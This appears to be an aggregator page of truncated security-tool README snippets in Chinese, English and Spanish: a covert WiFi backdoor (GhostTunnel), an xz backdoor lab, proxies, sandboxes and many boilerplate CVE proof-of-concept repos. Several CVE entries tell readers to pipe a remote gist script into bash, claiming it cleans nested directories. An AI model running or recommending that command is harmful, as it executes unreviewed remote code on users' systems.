nebula

Nebula Pentesting Potenciado por IA El banco de trabajo de la Capa Cero Agradecimientos Primero, quisiera agradecer a Dios Todopoderoso, quien es la fuente de todo conocimiento. Sin Él, esto no sería posible. Nebula reúne las partes funcionales de un engagement de seguridad en una sola superficie...

GhostTunnel

GhostTunnel GhostTunnel 是一种隐蔽的后门传输方法，可用于隔离环境。它可以通过 HID 设备仅释放载荷（代理）来攻击目标，释放载荷后即可移除 HID 设备。 GhostTunnel 使用 802.11 Probe Request 帧和 Beacon 帧进行通信，无需建立 WiFi 连接。具体而言，它通过将数据嵌入信标和探测请求中来通信。我们发布了用 C/C++ 实现的 GhostTunnel 服务器和 Windows 代理。代理无需提升权限，它利用系统 WiFi API 发送探测请求并接收信标。例如在 Windows 上，使用 Native WiFi...

ironclaw

IronClaw 安全可靠的个人 AI 助手，始终站在你这边 English | 简体中文 | Русский | 日本語 | 한국어 设计理念 • 功能特性 • 安装 • 配置 • 安全机制 • 系统架构 设计理念 IronClaw 基于一个简单的原则：你的 AI 助手应该为你服务，而不是与你为敌。 在 AI 系统对数据处理日益不透明、与企业利益捆绑的今天，IronClaw 选择了一条不同的路： 数据归你所有 — 所有信息存储在本地，加密保护，始终在你掌控之下 透明至上 — 完全开源，可审计，没有隐藏的遥测或数据收集 自主扩展 — 随时构建新工具，无需等待供应商更新 纵深防御 —...

vmsan

vmsan 🔥 Firecracker 微虚拟机沙盒工具包 从命令行创建、管理和连接隔离的 Firecracker 微虚拟机。可在毫秒内启动沙盒虚拟机，运行命令，传输文件 —— 无需 SSH。 📚 阅读完整文档：vmsan.dev ✨ 特性 ⚡ 毫秒级启动 — Firecracker 微虚拟机在 200ms 内启动 🔒 安全隔离 — jailer、seccomp、cgroups 以及每 VM 网络命名空间 🖥️ 交互式 Shell — 支持完整终端的 WebSocket PTY 📂 文件传输 — 无需 SSH 即可上传和下载 🐳 Docker 镜像 — 使用 --from-image 从任...

lab_xz_backdoor

XZ 后门演练 CVE-2024-3094 安全、动手操作的实验室，用于理解 xz-utils 供应链后门 — 专为防御者、学生和蓝队成员而建。 !WARNING 本项目处理真实的、在野的恶意软件 （xz 5.6.0 / 5.6.1 后门）。其提供严格用于防御性教育和授权研究 。所有操作均在可丢弃的隔离虚拟机中运行，无互联网路由。不要 在您关心的机器上、在您无法控制的网络上或针对任何未经授权测试的系统运行这些工件。请参阅 SECURITY.md。 内容简介...

ligolo-iwa

Ligolo-IWA 一个利用隔离 Web 应用程序在 Chrome/Chromium 浏览器内工作的 Ligolo-ng JavaScript 代理。 查看 Ligolo-IWA 文档以快速设置：Ligolo-IWA（设置/快速入门） 并且不要忘记阅读 Ligolo-ng 文档：📑 Ligolo-ng 文档（设置/快速入门） 本地设置 使用以下命令在本地构建签名的隔离 Web 应用包： root@kitploit: make 签名的构建产物会写入到 out/ligolo-iwa.swbn。 在 Chrome 上安装 Chrome 当前的 IWA 测试流程使用 Web App...

CVE-2026-48907

CVE-2026-48907 TODO 初始化自己的 CVE ⚡ 简单用法 请仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例搭建： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git...

capsule

Capsule 快速开始 • 文档 • 问题反馈 • 贡献指南 概述 Capsule 是一个在隔离环境中执行不受信任代码的运行时。每个任务都在自己的 WebAssembly 沙箱中运行，提供： 隔离执行 ：每个任务与主机系统隔离运行 资源限制 ：为每个任务设置 CPU、内存和超时限制 自动重试 ：无需手动干预即可处理故障 生命周期跟踪 ：监控哪些任务正在运行、已完成或失败 工作原理 使用 Python 只需用 @task 装饰器注解你的 Python 函数： root@kitploit: from capsule import task @taskname="analyzedata",...

Ubiquiti-CVE

Ubiquiti-CVE ⚡ 简单用法 仅可在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 获得授权的渗透测试环境 示例设置： root@kitploit: git clone cd 项目使用 Python，按照以下步骤操作 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依赖 pip install -r requirements.txt...

CVE-2026-59310

CVE-2026-59310 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： root@kitploit: Follow every dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 以清除嵌套目录中...

Astra Linux – Vulnerability in Chromium

Inappropriate implementation in Isolated Web Apps in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a malicious file. Chromium security severity: Medium...

CVE-2026-43499

CVE-2026-43499 ⚡ 简单用法 请仅在安全且经过授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 获得授权的渗透测试环境 示例搭建： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL sour...

CVE-2026-25177

cve-id ⚡ 简单用法 仅在安全且授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd 项目使用 Python，请按以下步骤操作 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依赖 pip install -r requirements.txt 示例用法：...

CVE-2026-42530

cve-id ⚡ 简单用法 仅在安全且获得授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 获得授权的渗透测试环境 示例配置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2026-46331

...

CVE-2026-44613

CVE-2026-44613 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 经授权的渗透测试环境 示例环境搭建： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source...

apche-struts-vuln-demo-cve-2018-11776

Apache Struts漏洞演示 CVE-2018-11776 描述 搭建一个隔离的测试环境，用于实验Apache Struts漏洞CVE-2018-11776。 开始使用 要启动测试环境，请运行以下命令： root@kitploit: aws cloudformation create-stack \ --template-body file://cfn.yml \ --stack-name \ --parameters \ ParameterKey=Ec2KeyName,ParameterValue= \ ParameterKey=Linux2Ami,ParameterValue=...

CVE-2026-53365

CVE-2026-53365 捐赠 支持本项目的维护，可通过 PayPal 捐款或扫描下方二维码。 ⚡ 简单用法 请仅在安全且获得授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 获得授权的渗透测试环境 示例设置与用法： root@kitploit: Follow dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清除嵌套的...

CVE-2026-34348

CVE-2026-34348 捐赠 请通过 PayPal 或扫描下方二维码支持本项目的维护。 ⚡ 简单用法 仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： root@kitploit: Follow every every repo 注意： 从其他项目克隆后，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清除嵌套目录中...

CVE-2026-50522

CVE-2026-50522 ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual...